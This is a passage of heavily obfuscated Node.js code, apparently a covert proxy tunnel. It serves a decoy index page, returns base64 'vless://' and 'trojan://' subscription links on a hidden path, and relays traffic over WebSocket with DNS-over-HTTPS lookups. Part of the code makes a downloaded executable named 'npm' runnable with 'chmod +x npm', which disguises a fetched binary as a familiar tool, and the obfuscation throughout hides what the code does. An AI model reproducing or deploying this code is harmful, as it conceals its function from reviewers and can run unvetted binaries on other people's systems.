47f:0x2be,_0xeb2978:0x2fd,_0x4b79bc:0x311,_0x42f62d:0x2e9,_0x4e864b:0x497,_0x218769:0x4bb,_0x2f5133:0x443,_0x502759:0x2ec,_0x1c1c6d:0x288,_0x3fe96a:0x2f4,_0x2ffd29:0x33e,_0x4d2c89:0x272,_0x956b7e:0x2eb,_0x58ef93:0x344,_0x7bea45:0x2fb,_0x32e8e3:0x2a5,_0x4c77e3:0x2d2,_0x4999b9:0x282,_0x5b19e0:0x2d8,_0x54aa16:0x3f0,_0x5e8efd:0x3c7,_0x5b0072:0x3c0,_0x1cb20f:0x356,_0x43bdcb:0x254,_0x65c262:0x222,_0x587d0a:0x245,_0x43ccae:0x1cf,_0x13e1c9:0x274,_0x3e24cb:0x238,_0x53f2e8:0x199,_0x44e7c8:0x23a,_0x3b0976:0x1b8,_0x2cee90:0x27c,_0x1077e3:0x35f,_0x5e71e4:0x3a7,_0x288e10:0x394,_0x30616b:0x31d,_0x73fa36:0x208,_0x1cfcc7:0x255,_0x21f3ee:0x1f2,_0x25dbfe:0x2e8,_0x4e5a83:0x2f3,_0x192681:0x413,_0x1c0894:0x484,_0x474c1e:0x49e,_0x964821:0x51f,_0x9abc19:0x3e8,_0x11660a:0x3d4,_0x2bd25e:0x32e,_0x35d109:0x377,_0x263fd4:0x39c,_0x234b9b:0x3f9,_0xbfa7d:0x389,_0x123e41:0x40c,_0x1adb4b:0x39a,_0xb31535:0x36a,_0x4a2b55:0x2d1,_0x547190:0x27d,_0x2dfc12:0x4b6,_0x1b8b5c:0x488,_0x4464a5:0x48a,_0x5c9d47:0x463},_0x578233={_0x4a93e5:0x265,_0x23efa2:0x260,_0x195c37:0x1e7,_0x4a6b1d:0xca,_0x13dc13:0xe5,_0x4a2ac0:0x270,_0x2a8203:0x213,_0xeda6f4:0x20b,_0x1fc862:0x2a0,_0x50b229:0x224,_0x54b5f4:0x17f,_0x34efdd:0xd4,_0x4e1297:0x11f,_0x8e04f7:0xe1,_0x3ebfda:0x0,_0x8a3a33:0xca,_0x1eab3b:0x23,_0x1ef3d6:0xa,_0x13e2b2:0x169,_0x5df060:0x1d3,_0xe272ab:0x20b,_0x4a28af:0x49,_0x5498f3:0x60,_0x1819a3:0x3b},_0x32396d={_0x5ac71e:0x10e},_0x15b399={_0x29d05a:0x183,_0x1e461a:0x25},_0x2008d9={_0x78a941:0xf5,_0x5b1db5:0x5a},_0x5857cb={_0x1b3015:0x44c,_0x48cdc3:0x1cd},_0x35ed02={};function _0x277a8f(_0x253558,_0x4d5b86,_0x5adb47,_0x18359a){return _0x2e685e(_0x253558-0xcf,_0x4d5b86-_0x5857cb._0x1b3015,_0x5adb47-_0x5857cb._0x48cdc3,_0x253558);}_0x35ed02['GLfaF']='text/html',_0x35ed02[_0x277a8f(_0x42eb56._0x31f87c,0x44d,0x3b1,0x42b)]=_0x277a8f(_0x42eb56._0x3fbbf7,_0x42eb56._0x1d033c,_0x42eb56._0x57ebca,_0x42eb56._0x518a63),_0x35ed02[_0x580132(_0x42eb56._0x4c1a6e,0x25e,_0x42eb56._0x1717b5,_0x42eb56._0x10559)]=_0x277a8f(_0x42eb56._0x582911,_0x42eb56._0x4572cd,_0x42eb56._0x45d87f,_0x42eb56._0x515d2f),_0x35ed02['mWDkM']=function(_0xb19a0a,_0x4f6870){return _0xb19a0a===_0x4f6870;},_0x35ed02['NYGPL']=function(_0x5610aa,_0x1d837c){return _0x5610aa!==_0x1d837c;},_0x35ed02['tcTLG']='MdQso',_0x35ed02[_0x277a8f(0x3df,_0x42eb56._0x151c7c,0x38a,_0x42eb56._0x24b63b)]=_0x277a8f(_0x42eb56._0x1e2498,_0x42eb56._0x5522fe,_0x42eb56._0x5656db,_0x42eb56._0x3bbd8c),_0x35ed02[_0x580132(_0x42eb56._0x1ddd75,_0x42eb56._0x3e4df0,_0x42eb56._0x1158d3,0x208)]=function(_0xc99acc,_0xf0e5b3){return _0xc99acc+_0xf0e5b3;};function _0x580132(_0x6aef90,_0x5e3a82,_0x939f6a,_0x3a8b54){return _0x282628(_0x6aef90- -_0x2008d9._0x78a941,_0x5e3a82-_0x2008d9._0x5b1db5,_0x939f6a-0x1d8,_0x5e3a82);}_0x35ed02[_0x277a8f(_0x42eb56._0x529549,_0x42eb56._0x21d472,_0x42eb56._0x1d46aa,_0x42eb56._0x39ed76)]=_0x580132(_0x42eb56._0x3e4df0,0x23f,_0x42eb56._0x496c6e,_0x42eb56._0x40cd03),_0x35ed02[_0x580132(_0x42eb56._0x239487,0x218,0x1d1,_0x42eb56._0x5d329e)]=_0x580132(_0x42eb56._0x2f732b,0x2c8,0x2d1,_0x42eb56._0x506b6f),_0x35ed02['PcNyh']=_0x580132(_0x42eb56._0x299a4f,_0x42eb56._0x22d91d,0x2a5,_0x42eb56._0x52deb3);const _0x43d9e6=_0x35ed02;if(_0x183f81['url']==='/'){const _0x5d249e=path[_0x277a8f(_0x42eb56._0x26b31d,_0x42eb56._0x53a3de,_0x42eb56._0x143224,_0x42eb56._0x2605bb)](__dirname,_0x580132(_0x42eb56._0x83f205,_0x42eb56._0x588638,_0x42eb56._0x27f073,_0x42eb56._0xc76cae));fs[_0x277a8f(_0x42eb56._0x23cb70,_0x42eb56._0x1b112c,_0x42eb56._0x5b9670,_0x42eb56._0x4862dc)](_0x5d249e,_0x277a8f(_0x42eb56._0x497d61,0x425,0x3eb,_0x42eb56._0xe489d1),(_0x176294,_0x5ca2ef)=>{if(_0x176294){const _0x2f94bf={};_0x2f94bf[_0x4c2116(0x1d6,_0x578233._0x4a93e5,_0x578233._0x23efa2,_0x578233._0x195c37)]=_0x43d9e6[_0x20fd49(_0x578233._0x4a6b1d,_0x578233._0x13dc13,0xaa,0xac)],_0x502847[_0x4c2116(_0x578233._0x4a2ac0,_0x578233._0x2a8203,0x18f,_0x578233._0xeda6f4)](0x1104+0x175a+-0x2796,_0x2f94bf),_0x502847[_0x4c2116(0x26b,_0x578233._0x1fc862,0x1af,_0x578233._0x50b229)](_0x43d9e6[_0x20fd49(_0x578233._0x54b5f4,_0x578233._0x34efdd,_0x578233._0x4e1297,_0x578233._0x8e04f7)]);return;}const _0x692638={};function _0x4c2116(_0x330370,_0x2732a5,_0x16fff9,_0xc4c74a){return _0x277a8f(_0x330370,_0xc4c74a- -_0x15b399._0x29d05a,_0x16fff9-0x92,_0xc4c74a-_0x15b399._0x1e461a);}function _0x20fd49(_0x39dba9,_0x127dea,_0x572d37,_0x38d93c){return _0x277a8f(_0x572d37,_0x38d93c- -0x36c,_0x572d37-0x1c4,_0x38d93c-_0x32396d._0x5ac71e);}_0x692638[_0x20fd49(0x41,_0x578233._0x3ebfda,-0x54,-0x2)]=_0x43d9e6[_0x20fd49(_0x578233._0x8a3a33,_0x578233._0x1eab3b,_0x578233._0x1ef3d6,0xac)],_0x502847[_0x4c2116(0x25a,_0x578233._0x13e2b2,_0x578233._0x5df060,_0x578233._0xe272ab)](-0x4*0xef+0x19bc+-0x1538,_0x692638),_0x502847[_0x20fd49(-_0x578233._0x4a28af,-_0x578233._0x5498f3,-0x26,_0x578233._0x1819a3)](_0x5ca2ef);});return;}else{if(_0x43d9e6[_0x580132(0x200,0x1d1,_0x42eb56._0x4e5cde,_0x42eb56._0x35a1a2)](_0x183f81['url'],'/'+SUB_PATH)){if(_0x43d9e6['NYGPL'](_0x43d9e6[_0x580132(_0x42eb56._0x38cc19,0x36e,0x307,_0x42eb56._0x5fdc3f)],_0x43d9e6[_0x580132(0x26a,_0x42eb56._0x17bf9b,0x2b5,0x1fd)])){const _0x1cc48b=NAME?NAME+'-'+ISP:ISP,_0x3ee177=_0x580132(_0x42eb56._0x377ac9,_0x42eb56._0x1c444d,0x2fe,_0x42eb56._0x3e0f26)+UUID+'@'+DOMAIN+_0x580132(_0x42eb56._0xca147f,_0x42eb56._0xeb2978,_0x42eb56._0x4b79bc,_0x42eb56._0x42f62d)+DOMAIN+_0x277a8f(0x3fb,_0x42eb56._0x4e864b,_0x42eb56._0x218769,_0x42eb56._0x2f5133)+DOMAIN+_0x580132(0x2eb,_0x42eb56._0x502759,_0x42eb56._0x1c1c6d,0x2d3)+WSPATH+'#'+_0x1cc48b,_0x1a2462='trojan://'+UUID+'@'+DOMAIN+_0x277a8f(_0x42eb56._0x3fe96a,0x38f,0x3af,_0x42eb56._0x2ffd29)+DOMAIN+_0x580132(0x2fc,0x280,0x395,_0x42eb56._0x4d2c89)+DOMAIN+_0x580132(_0x42eb56._0x956b7e,0x27e,0x2ae,_0x42eb56._0x58ef93)+WSPATH+'#'+_0x1cc48b,_0x2696c9=_0x43d9e6[_0x580132(_0x42eb56._0x1ddd75,0x20f,0x25d,_0x42eb56._0x7bea45)](_0x43d9e6[_0x580132(_0x42eb56._0x32e8e3,_0x42eb56._0x4c77e3,_0x42eb56._0x4999b9,_0x42eb56._0x5b19e0)](_0x3ee177,'\x0a'),_0x1a2462),_0x4e5453=Buffer[_0x277a8f(_0x42eb56._0x54aa16,_0x42eb56._0x5e8efd,0x46b,_0x42eb56._0x5b0072)](_0x2696c9)[_0x277a8f(0x411,0x3d3,0x330,_0x42eb56._0x1cb20f)](_0x43d9e6[_0x580132(0x21c,_0x42eb56._0x43bdcb,_0x42eb56._0x65c262,_0x42eb56._0x587d0a)]),_0x3e07f5={};_0x3e07f5[_0x580132(_0x42eb56._0x43ccae,_0x42eb56._0x13e1c9,_0x42eb56._0x3e24cb,_0x42eb56._0x53f2e8)]=_0x43d9e6[_0x580132(_0x42eb56._0x44e7c8,_0x42eb56._0x3b0976,_0x42eb56._0x2cee90,0x270)],_0x502847['writeHead'](-0x1*-0x20ef+0x80*-0x4c+0x5d9*0x1,_0x3e07f5),_0x502847[_0x277a8f(_0x42eb56._0x1077e3,_0x42eb56._0x5e71e4,_0x42eb56._0x288e10,0x30e)](_0x43d9e6[_0x580132(0x2a5,0x336,_0x42eb56._0x30616b,0x259)](_0x4e5453,'\x0a'));}else _0x25e9f1[_0x580132(0x28f,0x20e,0x259,_0x42eb56._0x73fa36)](_0x580132(_0x42eb56._0x1cfcc7,_0x42eb56._0x21f3ee,_0x42eb56._0x25dbfe,_0x42eb56._0x4e5a83)+_0x406e07);}else{if(_0x277a8f(_0x42eb56._0x192681,_0x42eb56._0x1c0894,_0x42eb56._0x474c1e,_0x42eb56._0x964821)===_0x277a8f(_0x42eb56._0x9abc19,_0x42eb56._0x11660a,_0x42eb56._0x2bd25e,_0x42eb56._0x35d109)){_0x4a4314['log'](_0x43d9e6[_0x277a8f(_0x42eb56._0x263fd4,_0x42eb56._0x234b9b,_0x42eb56._0xbfa7d,_0x42eb56._0x123e41)]);return;}else{const _0x10ecc8={};_0x10ecc8[_0x277a8f(_0x42eb56._0x1adb4b,_0x42eb56._0xb31535,0x2ef,_0x42eb56._0x4a2b55)]=_0x43d9e6[_0x580132(_0x42eb56._0x239487,0x1df,_0x42eb56._0x547190,0x2d0)],_0x502847['writeHead'](-0x925*-0x1+0x1*0x1607+-0x1*0x1d98,_0x10ecc8),_0x502847['end'](_0x43d9e6[_0x277a8f(_0x42eb56._0x2dfc12,_0x42eb56._0x1b8b5c,_0x42eb56._0x4464a5,_0x42eb56._0x5c9d47)]);}}}}),_0x10a676={};_0x10a676[_0x2e685e(0x90,0x3f,-0x5a,0x75)]=httpServer;function _0x2e685e(_0xe05b50,_0xec14c4,_0x3577f8,_0xfb58a){return _0x15ff(_0xec14c4- -0x2ae,_0xfb58a);}const wss=new WebSocket[(_0x2e685e(0x38,0x53,0xd3,0xb0))](_0x10a676),uuid=UUID[_0x2e685e(-0xa1,-0x5d,-0x8,-0xcd)](/-/g,''),DNS_SERVERS=[_0x282628(0x303,0x346,0x29f,0x378),'1.1.1.1'];function resolveHost(_0x21d120){const _0xf12c3b={_0x3f5c6c:0x47f,_0x3a71e1:0x46c,_0x5b1b9:0x3d3,_0x4adf4d:0x34f,_0xba4e73:0x2ac,_0x2292e7:0x2dc,_0x376805:0x2e9,_0x2ee554:0x366,_0x295d37:0x25b},_0x223507={_0x3d1692:0x32e,_0x3cd018:0x341,_0x226314:0x2ef,_0x4ab3f2:0xa4,_0x35829b:0x143,_0x51fc04:0xaf,_0x4a936d:0xcb,_0x35165b:0x11,_0x387de1:0x143,_0x1362f8:0xb3,_0x548849:0x1bb,_0x5618ea:0x1d8,_0x7a908d:0x11f,_0xa867b0:0x173,_0x3599e7:0x22d,_0x573c6a:0x1ef},_0x223cc={_0x6210a0:0x48,_0x265baa:0x7f},_0x2e9656={_0x150486:0x353,_0x41298b:0x384,_0x3789f3:0x3ad,_0x16d01b:0x432,_0x268a1b:0x4a6,_0x2e77f3:0x3c8,_0x2420bb:0x3b2,_0x16ac61:0x4c7,_0x4474f5:0x418,_0xfe268d:0x3fe,_0x1c334f:0x430,_0x1d8782:0x3e0,_0xe97922:0x3f4,_0x4644b1:0x3c1,_0x469af2:0x34c,_0xbedb54:0x2f0,_0x40426a:0x394,_0x407618:0x347,_0x35b9ae:0x2be,_0x172c0c:0x345,_0x135f7a:0x37d,_0x5a41eb:0x44c,_0x40c746:0x2ee,_0xe1b02a:0x2de,_0x17df27:0x2b5,_0x2d5bde:0x379,_0xf7acef:0x410,_0x5de341:0x402,_0x5ecc2a:0x295,_0xc15d48:0x25d,_0x47291d:0x26c,_0x18e4af:0x246,_0x522803:0x515,_0x49808c:0x4ca,_0x3d3b61:0x33e,_0x4f8f6e:0x339,_0x1b24c6:0x4fd,_0x4192b6:0x4fe,_0x39ac65:0x4f6},_0x2adab0={_0x1e1daa:0x11e},_0x57ec0a={_0x57c955:0x30e,_0x41421b:0x1a8},_0x2169d6={_0x34dd6d:0x6};function _0x5638a5(_0x2c2a75,_0x2fadba,_0x18d061,_0x2027f3){return _0x282628(_0x2fadba-0x115,_0x2fadba-0x190,_0x18d061-_0x2169d6._0x34dd6d,_0x18d061);}const _0x3e5ad8={'JjpYr':_0x5638a5(_0xf12c3b._0x3f5c6c,_0xf12c3b._0x3a71e1,0x414,_0xf12c3b._0x5b1b9),'sSqPG':function(_0x4d3424,_0x5f4e95){return _0x4d3424!==_0x5f4e95;},'gcVyV':_0x11252a(_0xf12c3b._0x4adf4d,_0xf12c3b._0xba4e73,0x275,_0xf12c3b._0x2292e7),'aqZsK':_0x11252a(0x257,_0xf12c3b._0x376805,_0xf12c3b._0x2ee554,0x25f),'XqDyO':function(_0x573568,_0x3c614b){return _0x573568(_0x3c614b);},'cGWbd':function(_0x459c4b,_0x593c7e){return _0x459c4b(_0x593c7e);},'xLlkm':_0x11252a(_0xf12c3b._0x295d37,0x23f,0x20e,0x269),'SRtap':'finish','RcNYY':function(_0x2615fd,_0x9edf92){return _0x2615fd===_0x9edf92;},'MDgKm':function(_0x55d421,_0x201d3e){return _0x55d421>_0x201d3e;},'pWhpF':function(_0x23a416){return _0x23a416();},'KeEhj':'jnPlV'};function _0x11252a(_0x69742f,_0x31d7c8,_0xeeb191,_0x15aa10){return _0x2e685e(_0x69742f-0x23,_0x31d7c8-_0x57ec0a._0x57c955,_0xeeb191-_0x57ec0a._0x41421b,_0x15aa10);}return new Promise((_0x17a0b1,_0x57c738)=>{const _0xcf75d8={_0x195d6d:0x196,_0x295ece:0xe3},_0x23ffce={_0x3cb754:0x3f,_0x5229dd:0x314},_0x1b835e={'PKZtw':function(_0x169491,_0x38c962){return _0x169491(_0x38c962);},'LTqsG':function(_0x368cc6){return _0x368cc6();},'zDzHT':_0x3e5ad8[_0x5f0259(0x38f,_0x223507._0x3d1692,_0x223507._0x3cd018,_0x223507._0x226314)],'AMiLN':function(_0x2d5e5c,_0x3c2baf){function _0x402a58(_0x5e8cf3,_0x3d6fa4,_0x25920d,_0xeefd5){return _0x5f0259(_0x5e8cf3-0x1ee,_0x3d6fa4-_0x23ffce._0x3cb754,_0xeefd5,_0x25920d- -_0x23ffce._0x5229dd);}return _0x3e5ad8[_0x402a58(-0x194,-_0x2adab0._0x1e1daa,-0x135,-0xea)](_0x2d5e5c,_0x3c2baf);},'OGlQb':function(_0x521002,_0xf45a19){return _0x3e5ad8['MDgKm'](_0x521002,_0xf45a19);},'lDQIL':function(_0x4526c7){return _0x3e5ad8['pWhpF'](_0x4526c7);}};if(/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/[_0x16dc3d(_0x223507._0x4ab3f2,_0x223507._0x35829b,_0x223507._0x51fc04,_0x223507._0x4a936d)](_0x21d120)){if(_0x3e5ad8['sSqPG'](_0x16dc3d(_0x223507._0x35165b,0xc0,_0x223507._0x387de1,_0x223507._0x1362f8),_0x3e5ad8['KeEhj']))_0x328317=_0x3e5ad8[_0x16dc3d(0x83,_0x223507._0x548849,0x106,0x127)];else{_0x3e5ad8[_0x16dc3d(_0x223507._0x5618ea,_0x223507._0x7a908d,0x126,_0x223507._0xa867b0)](_0x17a0b1,_0x21d120);return;}}function _0x16dc3d(_0x54be9b,_0x2cbe4b,_0x27339f,_0x5a4e54){return _0x11252a(_0x54be9b-0x192,_0x5a4e54- -_0xcf75d8._0x195d6d,_0x27339f-_0xcf75d8._0x295ece,_0x54be9b);}let _0x8d44b8=-0x121*-0x10+0x20*-0x39+-0xaf0;function _0x5b9af6(){const _0x5d42cf={_0x21de1a:0x96,_0x4045c5:0x3c,_0x4edb8d:0x89,_0xc9ca49:0x11,_0x24a909:0x35,_0x3e712c:0x82,_0x68b7aa:0xa5,_0x1d6d68:0x13c,_0x322001:0x50,_0x1483ea:0x8a,_0x169c68:0x3a,_0x1260b0:0x6d,_0x6d40c2:0x7,_0x28ba7f:0x3e,_0x3b98d2:0x8f,_0xe94758:0x32,_0x386a80:0xac,_0x1f749b:0x3c,_0x6c6107:0x51},_0x3a7da0={_0x4d3556:0x34e,_0x3c3e6b:0x22,_0x29de02:0xce},_0x2ebfc2={_0x78abeb:0xb9},_0x5ed9ce={_0x54bd22:0x95,_0x2266b2:0x135},_0x2ebf1f={_0x18a363:0x4c,_0x4e3695:0x45,_0xd54765:0x55,_0x99380e:0x65,_0x570a62:0x71,_0xccfbca:0xa4,_0x383fba:0x4c},_0x55402f={_0x43615c:0x672,_0x339931:0x60d,_0xf0faf3:0x5d7,_0x432c71:0x62c};if(_0x8d44b8>=DNS_SERVERS['length']){if(_0x3e5ad8['sSqPG'](_0x3e5ad8[_0x1e247f(_0x2e9656._0x150486,0x2cf,_0x2e9656._0x41298b,_0x2e9656._0x3789f3)],_0x3e5ad8[_0x1ab009(_0x2e9656._0x16d01b,_0x2e9656._0x268a1b,_0x2e9656._0x2e77f3,_0x2e9656._0x2420bb)])){_0x3e5ad8[_0x1ab009(0x46e,_0x2e9656._0x16ac61,_0x2e9656._0x4474f5,0x445)](_0x57c738,new Error(_0x1ab009(_0x2e9656._0xfe268d,_0x2e9656._0x1c334f,0x454,0x454)+_0x21d120+_0x1ab009(_0x2e9656._0x1d8782,_0x2e9656._0xe97922,_0x2e9656._0x4644b1,_0x2e9656._0x469af2)));return;}else{const _0x46b4ba={_0x15f5a9:0x342,_0x396e28:0x344,_0x356a5e:0x350,_0x24d4a7:0x3ce,_0x4d9814:0x331,_0x28d5ff:0x446,_0x28abda:0x3c7},_0x2a850c={'JVNsE':function(_0x5d30f6,_0x3ae36d){return _0x1b835e['PKZtw'](_0x5d30f6,_0x3ae36d);},'kKBdC':function(_0x5dd8b2){const _0x5b849d={_0xbd2e0b:0x1d5};function _0x70256e(_0x2e7e75,_0x1979ca,_0x217b39,_0x5a9c9a){return _0x1e247f(_0x5a9c9a-0x2eb,_0x2e7e75,_0x217b39-_0x5b849d._0xbd2e0b,_0x5a9c9a-0x22);}return _0x1b835e[_0x70256e(_0x55402f._0x43615c,_0x55402f._0x339931,_0x55402f._0xf0faf3,_0x55402f._0x432c71)](_0x5dd8b2);},'RkXAC':function(_0x178269,_0x268820,_0x507d0c){return _0x178269(_0x268820,_0x507d0c);}};_0x9f7dac['on'](_0x1b835e[_0x1e247f(_0x2e9656._0xbedb54,_0x2e9656._0x40426a,_0x2e9656._0x407618,_0x2e9656._0x35b9ae)],()=>{const _0xe15d11={_0x320735:0x34a,_0x3f725d:0x97},_0x367ce8={_0x203be3:0x189,_0x55cbec:0x59};_0x2740f9[_0x341157(_0x2ebf1f._0x18a363,-_0x2ebf1f._0x4e3695,_0x2ebf1f._0xd54765,_0x2ebf1f._0x99380e)]('npm\x20download\x20successfully');function _0x1de7f0(_0x1a39af,_0x17e9ad,_0xb6e415,_0x1bcc10){return _0x1ab009(_0x1a39af- -_0x367ce8._0x203be3,_0xb6e415,_0xb6e415-_0x367ce8._0x55cbec,_0x1bcc10-0xe9);}function _0x341157(_0x2f20fa,_0x2224e0,_0x493057,_0x4c1c54){return _0x1e247f(_0x2f20fa- -_0xe15d11._0x320735,_0x4c1c54,_0x493057-0xad,_0x4c1c54-_0xe15d11._0x3f725d);}_0x2a850c[_0x341157(0x7,-_0x2ebf1f._0x570a62,_0x2ebf1f._0xccfbca,-_0x2ebf1f._0x383fba)](_0x158136,'chmod\x20+x\x20npm',_0x428518=>{const _0x2d3331={_0x477980:0x111,_0x3fcb2f:0x11},_0x56e697={_0x5af85a:0x14f,_0x3f8ec3:0x37};if(_0x428518)_0x2a850c[_0x32cb2d(0x3ab,_0x46b4ba._0x15f5a9,_0x46b4ba._0x396e28,_0x46b4ba._0x356a5e)](_0x95e62f,_0x428518);function _0x32cb2d(_0x1540fa,_0x4f2c97,_0x1a1b62,_0x7971b7){return _0x1de7f0(_0x7971b7-_0x56e697._0x5af85a,_0x4f2c97-0xdd,_0x1540fa,_0x7971b7-_0x56e697._0x3f8ec3);}function _0x174150(_0x37b1d0,_0x3afc59,_0x545eb1,_0x162f4f){return _0x1de7f0(_0x162f4f-_0x2d3331._0x477980,_0x3afc59-0x1c9,_0x37b1d0,_0x162f4f-_0x2d3331._0x3fcb2f);}_0x2a850c[_0x32cb2d(_0x46b4ba._0x24d4a7,_0x46b4ba._0x4d9814,_0x46b4ba._0x28d5ff,_0x46b4ba._0x28abda)](_0x4b287d);});}),_0x97ed3c['on']('error',_0x5542e4);}}const _0x3fa178=DNS_SERVERS[_0x8d44b8];_0x8d44b8++;function _0x1ab009(_0x2dae8a,_0x228d31,_0x3b02e6,_0x37b3cd){return _0x5f0259(_0x2dae8a-_0x5ed9ce._0x54bd22,_0x228d31-_0x5ed9ce._0x2266b2,_0x228d31,_0x2dae8a-0x1ad);}const _0x13ee1e=_0x1e247f(0x38e,_0x2e9656._0x172c0c,0x31d,_0x2e9656._0x135f7a)+_0x3e5ad8[_0x1ab009(0x3f8,0x422,_0x2e9656._0x5a41eb,0x3ea)](encodeURIComponent,_0x21d120)+_0x1e247f(_0x2e9656._0x40c746,0x387,_0x2e9656._0xe1b02a,_0x2e9656._0x17df27),_0x66a524={};_0x66a524['Accept']=_0x3e5ad8['xLlkm'];const _0x3a5461={};_0x3a5461[_0x1e247f(_0x2e9656._0x2d5bde,0x328,_0x2e9656._0xf7acef,_0x2e9656._0x5de341)]=0x1388;function _0x1e247f(_0x18bb25,_0x5a12bb,_0xe093b0,_0x41e5fd){return _0x5f0259(_0x18bb25-0x12e,_0x5a12bb-0x77,_0x5a12bb,_0x18bb25-_0x2ebfc2._0x78abeb);}_0x3a5461[_0x1e247f(_0x2e9656._0x5ecc2a,_0x2e9656._0xc15d48,_0x2e9656._0x47291d,_0x2e9656._0x18e4af)]=_0x66a524,axios[_0x1ab009(0x4c3,0x553,_0x2e9656._0x522803,_0x2e9656._0x49808c)](_0x13ee1e,_0x3a5461)[_0x1e247f(0x2a9,_0x2e9656._0x3d3b61,0x210,_0x2e9656._0x4f8f6e)](_0x1d7d56=>{const _0x50d712={_0xbc915d:0x324,_0x583f5a:0x5d,_0x44d840:0x1c8},_0x5e6ff6=_0x1d7d56['data'];function _0x3df5a9(_0x5b4c4b,_0x476cc8,_0x4b638f,_0x2ae09){return _0x1e247f(_0x5b4c4b- -_0x50d712._0xbc915d,_0x2ae09,_0x4b638f-_0x50d712._0x583f5a,_0x2ae09-_0x50d712._0x44d840);}if(_0x1b835e['AMiLN'](_0x5e6ff6[_0xe6e60c(_0x5d42cf._0x21de1a,_0x5d42cf._0x4045c5,_0x5d42cf._0x4edb8d,_0x5d42cf._0xc9ca49)],0x217e+-0x25b+0x3*-0xa61)&&_0x5e6ff6['Answer']&&_0x1b835e['OGlQb'](_0x5e6ff6['Answer'][_0xe6e60c(-0xb,_0x5d42cf._0x24a909,_0x5d42cf._0x3e712c,0x21)],-0xb58+0x1f*-0x137+0xd*0x3c5)){const _0x24cc91=_0x5e6ff6['Answer'][_0x3df5a9(_0x5d42cf._0x68b7aa,_0x5d42cf._0x1d6d68,_0x5d42cf._0x322001,_0x5d42cf._0x1483ea)](_0x584175=>_0x584175[_0xe6e60c(-0xa0,-0xee,-0x56,-0x6)]===-0x2117*0x1+0x1*-0x9d7+-0x1d*-0x17b);if(_0x24cc91){_0x1b835e[_0xe6e60c(_0x5d42cf._0x169c68,_0x5d42cf._0x1260b0,0x1f,_0x5d42cf._0x6d40c2)](_0x17a0b1,_0x24cc91[_0xe6e60c(-_0x5d42cf._0x28ba7f,-0xc2,-_0x5d42cf._0x3b98d2,-0xf)]);return;}}function _0xe6e60c(_0x4fa0a6,_0x1cbe9c,_0x45ed67,_0x2d27e4){return _0x1e247f(_0x45ed67- -_0x3a7da0._0x4d3556,_0x1cbe9c,_0x45ed67-_0x3a7da0._0x3c3e6b,_0x2d27e4-_0x3a7da0._0x29de02);}_0x1b835e[_0x3df5a9(-_0x5d42cf._0xe94758,-_0x5d42cf._0x386a80,-_0x5d42cf._0x1f749b,-_0x5d42cf._0x6c6107)](_0x5b9af6);})[_0x1ab009(0x463,_0x2e9656._0x1b24c6,_0x2e9656._0x4192b6,_0x2e9656._0x39ac65)](_0x38aef6=>{_0x5b9af6();});}function _0x5f0259(_0x286ca4,_0x3df0b7,_0x30a23a,_0x6ad052){return _0x11252a(_0x286ca4-0xde,_0x6ad052- -_0x223cc._0x6210a0,_0x30a23a-_0x223cc._0x265baa,_0x30a23a);}_0x3e5ad8[_0x16dc3d(_0x223507._0x3599e7,0x187,_0x223507._0x573c6a,0x192)](_0x5b9af6);});}function handleVlessConnection(_0x1bc2d5,_0x8323cf){const _0xe4d491={_0x40d33e:0x316,_0x513ef9:0x259,_0x3da6ac:0x2d6,_0x2862ab:0x27b,_0x4d780b:0x377,_0x480a89:0x333,_0x2e49e2:0x368,_0x12aaef:0x12d,_0x3c5f38:0x182,_0x45e29e:0x1cc,_0x4df9d7:0x24b,_0x33f952:0x2d3,_0x4a2a71:0x27a,_0x45465a:0x266,_0x3aadd5:0x2eb,_0x32ee29:0x28f,_0x5b1197:0x356,_0x41419d:0x2e8,_0x26f977:0x2fa,_0x5901d9:0x379,_0x146cac:0x311,_0x1ea66f:0x2a0,_0x870824:0x2d3,_0x3a9b11:0x289,_0xfddf29:0x24e,_0x5296be:0x2db,_0x21107f:0x19e,_0x11e253:0x1be,_0x4e6070:0x189,_0x511cb5:0x2c0,_0x4c895e:0x345,_0x18f513:0x379,_0x4c9c56:0x34e,_0x2d1768:0x34d,_0x3a0b99:0x330,_0x4438b4:0x2b4,_0x3ebea4:0x2fa,_0x454c01:0x2ae,_0x4c382d:0x2b1,_0x30526f:0x26e,_0x3ed7e7:0x304,_0x447e1e:0x282,_0x3a077b:0x20f,_0x40e778:0x23c,_0x2ca4d7:0x23a,_0x515dcb:0x295,_0x1c9059:0x2a6,_0x5cd22f:0x2fa,_0x3c9f17:0x2a2,_0x386289:0x2eb,_0x122283:0x31a,_0x2e094f:0x264,_0x58b9d5:0x31c,_0x34908a:0x3c1,_0x4a3226:0x27c,_0x21396c:0x299,_0x39e772:0x1e8,_0x7585dd:0x205,_0x270bb1:0x272,_0x3c1c3c:0x338,_0x3f282d:0x3a1,_0x138a9c:0x2e2,_0x4d0d70:0x23c,_0x474ece:0x22b,_0x770e49:0x292,_0x1c44a8:0x303,_0x1df211:0x29b,_0x780190:0x204,_0x27eee8:0x1f9,_0x2cb7a6:0x216,_0x1329b3:0x20c,_0xaa855d:0x217,_0x47af26:0x283,_0x5beef1:0x213,_0xfb668e:0x1aa,_0x5cbf34:0x2ce,_0x1022d2:0x35b,_0x454ee9:0x3f6,_0x9b4fe5:0x406,_0x1b2255:0x43d,_0x3ce8c7:0x2d1,_0x2f0de1:0x27c,_0x1e6bf4:0x260,_0x137563:0x324,_0xbf8dd3:0x292,_0x59b57e:0x1ed},_0xe3e5ce={_0x2fbc4f:0x5b,_0x22405f:0x22,_0x346059:0x5ad,_0x2cd9ea:0x4ee,_0x25a77e:0x4dc,_0x6d4f53:0xb3,_0x3845b5:0xef,_0x2316d5:0x84,_0x5894d5:0x12f,_0x350592:0xd8,_0x1e13e6:0x104,_0xd3f12b:0x93,_0x5c74c9:0x8e,_0x1397eb:0x1,_0x32f4e6:0x22,_0x21d791:0x601,_0x2f1e44:0x666,_0x3e969b:0x655,_0x14a1c5:0x66d,_0x553e24:0x551,_0x4c57c0:0x5ad,_0x42e2a4:0x567,_0x115e32:0x5d7,_0x3dc233:0x62a,_0x119de6:0x62e,_0x5184d5:0x5f0,_0x6d0027:0x60,_0x4a5448:0x45},_0x4d0414={_0x2e496d:0xe4,_0x4b5aba:0x2bf,_0x28a38c:0x1a0},_0x28944b={_0x213e5e:0x346,_0x25f5e5:0x3ab,_0x106da4:0x391,_0x1bc148:0x35a,_0x1811aa:0x2cf,_0x529a0a:0x349,_0x13ee2d:0x33a,_0x236d69:0x32a,_0x628654:0x2ab},_0x2cc391={_0x24045b:0xa9,_0xd70324:0x14e,_0x455779:0x33,_0x233add: